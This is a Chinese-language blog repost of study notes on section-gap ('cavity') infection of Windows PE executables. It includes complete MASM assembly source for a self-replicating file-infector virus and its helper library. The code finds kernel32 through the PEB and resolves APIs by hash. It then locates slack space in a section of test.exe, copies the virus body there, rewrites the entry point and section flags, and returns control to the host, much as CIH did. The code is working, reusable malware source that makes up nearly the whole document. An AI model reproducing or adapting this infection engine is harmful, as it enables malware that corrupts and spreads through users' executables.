搜寻节空隙感染学习笔记

这篇学习笔记探讨了病毒技术中的搜寻节空隙感染,主要关注如何找到程序节中的空隙以用于病毒植入。文章介绍了两种方法,重点讲解了通过比较节表结构中的物理文件大小和节映射大小来寻找足够大的物理空隙,这种方法相对于依赖00机器码填充的空隙更为稳定。代码示例展示了具体实现。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题


那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙。一般在病毒技术中,有两种方法。 

  1. 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积。则取这段区域的偏移。
  2. 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病毒体积,如果大于的话,则取这段区域的偏移。
  另外还有将我们病毒分段插入,这需要依靠我们的反汇编引擎,将病毒代码拆解成多个过程,然后分别插入,最后将这些过程连接起来,同样这样也有很多弊端,所以很多时候这不能使我们产生动力...。

  我们今天的代码使用的是第二种方法,因为第一种方法的弊端太多,例如如果被感染文件的空隙不是00机器码填充的等。为了稳定性还是选择第二种方法,虽然它的限制会比较多。实际上CIH利用的也是我们今天的第二种方法。


代码:

; 链接选项加入/SECTION:.text|RWE
	.386
	.model flat, stdcall
	option casemap:none
	
include windows.inc

	.code
	
VirusEntry:
	pushad
	call Dels
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	
Table:
	   dd  038C62A7Ah
       _CreateFile  dd  0
           dd  09554EFE7h
       _GetFileSize  dd  0
           dd  00BE25545h
       _ReadFile  dd  0
           dd  0A9D1FD70h
       _SetFilePointer  dd  0
           dd  0C0D6D616h
       _CloseHandle  dd  0
           dd  0C2F6D009h
       _GlobalAlloc  dd  0
           dd  0585ED3CFh
       _GlobalFree  dd  0
           dd  058D8C545h
       _WriteFile  dd  0
           dd  0A412FD89h
       _LoadLibrary  dd  0
           dd  014D14C51h
       _MessageBox  dd  0 
       dd 0
       szCaption	db 'Virus Dream - Demo', 0
       szText		db 'Oh Yeah of Virus Dream', 0
       szFileName	db 'test.exe', 0
       nWriteByteNum	dd 0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Dels:
	pop ebp
	call GetKernel32
	
	mov edi, ebp			; edi = pHashStringList = Table
	call GetFuncAddress
	
	push '23'
	push 'resu'
	push esp			; lpFileName = user32
	call dword ptr [ebp + (_LoadLibrary - Table)]
	pop edx
	pop edx				; 弹出'user32'
	
	mov edi, ebp
	call GetFuncAddress
	
	cmp ebp, Dels - (Dels - Table)
	je Inject			; 如果等于说明不再宿主程序中
	
	push 0
	lea edx, [ebp + (szCaption - Table)]
	push edx
	lea edx, [ebp + (szText - Table)]
	push edx
	push 0
	call dword ptr [ebp + (_MessageBox - Table)]
	
	lea eax, [ebp + (szFileName - Table)]
	push eax
	call InjectFile
	popad
	jmp JmpHost
	
Inject:
	lea eax, [ebp + (szFileName - Table)]
	push eax
	call InjectFile

	popad
	ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	
; 感染文件
; Arguments:
; 	[esp + 4 * 8 + 4]		- lpFileName
; Return Value:
; 	Nothing
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
InjectFile:
	pushad
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 注册一个SEH, 一般流程如下:
; push Handle
; push fs:[0]
; mov fs:[0], esp
; _ _ _ _ _ _ _ _
; | Prev 	|	<-- esp - 8 ; push edx
; | SEH Handle 	|	<-- esp - 4 ; call _@@
; | pushad 	|	<-- esp
; | 返回地址	|
; | 参数 	|
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	lea edx, [esp - 8]
	call _@@				; 入栈下一条指令地址, 相当于push Handle
	mov esp, [esp + 2 * 4]			; esp指向异常回调函数的第二个参数
	jmp _Result
	
_@@:
	sub eax, eax
	assume fs:nothing
	xchg edx, fs:[eax]			; 相当于mov fs:[0], esp
	push edx				; 相当于push fs:[0]
	
	mov edx, [esp + 4 * 8 + 4 + 4 * 2]	; edx = lpFileName
	push eax
	push eax
	push OPEN_EXISTING
	push eax
	push FILE_SHARE_WRITE
	push GENERIC_READ or GENERIC_WRITE
	push edx
	call dword ptr [ebp + (_CreateFile - Table)]
	cmp eax, INVALID_HANDLE_VALUE
	je _Result
	xchg eax, ebx				; ebx = FileHandle
	
	push 0
	push ebx
	call dword ptr [ebp + (_GetFileSize - Table)]
	push eax				; [esp] = File Size
	
	push eax
	push GMEM_ZEROINIT
	call dword ptr [ebp + (_GlobalAlloc - Table)]
	xchg eax, edi				; edi = lpMemory
	
	push 0					; 空出一个空间供下面输出参数使用
	push esp
	push dword ptr [esp + 4 * 2]		; File Size
	push edi				; 将文件数据读取到edi
	push ebx
	call dword ptr [ebp + (_ReadFile - Table)]
	pop [ebp + (nWriteByteNum - Table)]
	
	push edi
	call IsPe
	jnc _Free
	
	push edi
	call GetSectionTable
	xchg eax, esi				; esi = Section Table offset
	
	push edi
	call GetSectionNum			; ecx = Section Num
	jecxz _Free				; 如果ecx等于0跳
	
_LoopScas:
	mov edx, [esi + 10h]			; esi + 10h = SizeOfRawData
	sub edx, [esi + 08h]			; esi + 08h = VirtualSize
	cmp edx, VirusLen
	jg _MoveVirus				; 如果空隙大于病毒长度跳
	add esi, 28h				; esi指向下一个节表
	loop _LoopScas
	jmp _Free
	
_MoveVirus:
	push edi				; edi = lpMemory
	call GetEntryPointVa
	mov [ebp + (JmpHost - Table) + 1], eax	; 将JmpHost处jmp的操作数修改为OEP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 设置新入口点RVA
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	mov edx, [esi + 08h]			; edx = VirtualSize
	add edx, [esi + 0ch]			; edx = 节结尾RVA, 也即Virus开始RVA
	mov eax, edi				; edi = lpMemory
	add eax, [edi + 3ch]			; eax = PE Header
	mov [eax + 28h], edx			; 修改入口点
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 设置节标志
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	or dword ptr [esi + 24h], 0E0000020h
	
	mov edx, [esi + 08h]
	add edx, [esi + 14h]			; edx = 节结尾文件偏移,也即virus开始文件偏移
	add edx, edi				; edx指向lpMemory中节结尾
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 移动病毒数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	pushad
	lea esi, [ebp - 6]			; esi = VirusEntry
	mov ecx, VirusLen
	mov edi, edx
	cld
	rep movsb				; 移动病毒数据
	popad
	
	push FILE_BEGIN
	push 0
	push 0
	push ebx
	call dword ptr [ebp + (_SetFilePointer - Table)]	; 将文件指针定位到开始处
	
	push 0
	push esp
	push [ebp + (nWriteByteNum - Table)]
	push edi
	push ebx
	call dword ptr [ebp + (_WriteFile - Table)]		; 将数据写回文件
	
_Free:
	push ebx
	call dword ptr [ebp + (_CloseHandle - Table)]
	push edi
	call dword ptr [ebp + (_GlobalFree - Table)]
	
_Result:
	sub eax, eax
	pop dword ptr fs:[eax]
	pop edx
	popad
	ret 4 * 1
	
JmpHost:
	push $
	ret
	
include VirusLib.asm
VirusLen = $ - VirusEntry

	end VirusEntry
	

上面代码中include了VirusLib.asm文件,里面包含了一些病毒中常用函数:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 测试是否是PE文件
; Arguments:
; 	[esp]		- return address
; 	[esp + 4]	- lpMemory
; Return Value:
; 	CF		- 1
; 	CF		- 0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
IsPe:
	mov edx, [esp + 4]
	cmp word ptr [edx], 'ZM'
	jnz _IP_RetFails
	add edx, [edx + 3ch]
	cmp word ptr [edx], 'EP'
	jnz _IP_RetFails
	
_IP_RetTure:
	stc			; CF = 1
	ret 4 * 1
	
_IP_RetFails:
	clc			; CF = 0
	ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取节表
; Arguments:
; 	[esp]		- return address
; 	[esp + 4]	- pMemory
; Return Value:
; 	eax 		- Physical offset
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetSectionTable:
	mov eax, [esp + 4]
	add eax, dword ptr [eax + 3ch]	; eax -> PE Header
	movzx edx, word ptr [eax + 14h]	; edx = IMAGE_OPTIONAL_HEADER长度
	lea eax, [eax + edx + 4 * 6]	; 4 * 6为IMAGE_FILE_HEADER和Signature长度
	ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取OEP VA Address
; Arguments:
; 	[esp]		- return address
; 	[esp + 4]	- pMemory
; Return Value:
; 	eax		- OEP VA Address
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetEntryPointVa:
	mov eax, [esp + 4]
	add eax, dword ptr [eax + 3ch]	; eax -> PE Header
	mov edx, dword ptr [eax + 28h]	; edx = IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint
	add edx, dword ptr [eax + 34h]	; edx += IMAGE_OPTIONAL_HEADER.ImageBase
	xchg eax, edx
	ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取节表数量
; Arguments:
; 	[esp]		- return address
; 	[esp - 4]	- pMemory
; Return Value:
;	ecx		- Section Number
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetSectionNum:
	mov eax, [esp + 4]
	add eax, [eax + 3ch]			; eax -> PE Header
	movzx ecx, word ptr [eax + 06h]		; ecx = IMAGE_FILE_HEADER.NumberOfSection
	ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取kernel32基地址
; Arguments:
; 	[esp]		- return address
; Return Value:
;	eax		- kernel32 base address
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetKernel32:
	push dword ptr 006ch
	push dword ptr 006c0064h
	push dword ptr 002e0032h
	push dword ptr 0033006ch
	push dword ptr 0065006eh
	push dword ptr 00720065h
	push word ptr 006bh
	mov ebx, esp
	assume fs:nothing
	mov eax, fs:[30h]
	mov eax, [eax + 0ch]
	mov eax, [eax + 1ch]
	
_Search:
	or eax, eax
	jz _NotFound
	inc eax
	jz _NotFound
	dec eax
	mov ecx, dword ptr 13		; ecx = 比较长度
	lea esi, [eax + 1ch]	
	mov esi, [esi + 4]		; esi = UNICODE_STR.Buffer
	mov edi, ebx
	repz cmpsw
	or ecx, ecx
	jz _Found
	mov eax, [eax]
	jmp _Search
	
_NotFound:
	or eax, 0ffffffffh
	jmp _Over
	
_Found:
	mov eax, [eax + 08h]
	
_Over:
	add esp, 26
	ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取Hash API地址
; Arguments:
; 	[esp]		- return address
; 	eax		- hModule
;	edi		- pHashStringList
; Return Value:
; 	Nothing
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetFuncAddress:
	pushad
	xchg eax, ebx			; ebx = hModule
	mov eax, [ebx + 3ch]
	mov esi, [eax + ebx + 78h]	; Get Export
	lea esi, [esi + ebx + 18h]	; esi -> NumberOfNames
	
	cld
	lodsd
	xchg eax, ecx			; ecx = NumberOfNames
	lodsd
	push eax			; [esp] = AddressOfFunctions
	lodsd
	add eax, ebx
	xchg eax, edx			; edx = AddressOfNames
	lodsd
	add eax, ebx
	xchg eax, ebp			; ebp = AddressOfNameOrdinals
	xchg esi, edx			; esi = AddressOfNames
	
_NextFunc:
	push edi
	lodsd
	add eax, ebx			; eax = API 函数名字符串
	xor edx, edx

_CalcHash:
	rol edx, 3
	xor dl, byte ptr [eax]
	inc eax
	cmp byte ptr [eax], 0
	jnz _CalcHash
	
_ScanDwFunc:
	cmp [edi], edx
	jnz _SkipFunction
	movzx eax, word ptr [ebp]	; 取出对应索引
	shl eax, 2
	add eax, [esp + 4]		; 索引乘以4后加到AddressOfFunctions
	mov eax, [eax + ebx]		; 取出API RVA
	add eax, ebx			; eax = API address
	scasd				; 跳过hash
	stosd				; 保存
	jmp _Ret
	
_SkipFunction:
	scasd
	scasd				; 跳过hash和保存API地址的地方指向下一个hash
	cmp dword ptr [edi], 0
	jnz _ScanDwFunc
	
_Ret:
	pop edi
	add ebp, 2			; ebp指向下一个索引,和AddressOfNames对应
	loop _NextFunc
	
	pop ecx
	popad
	ret



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值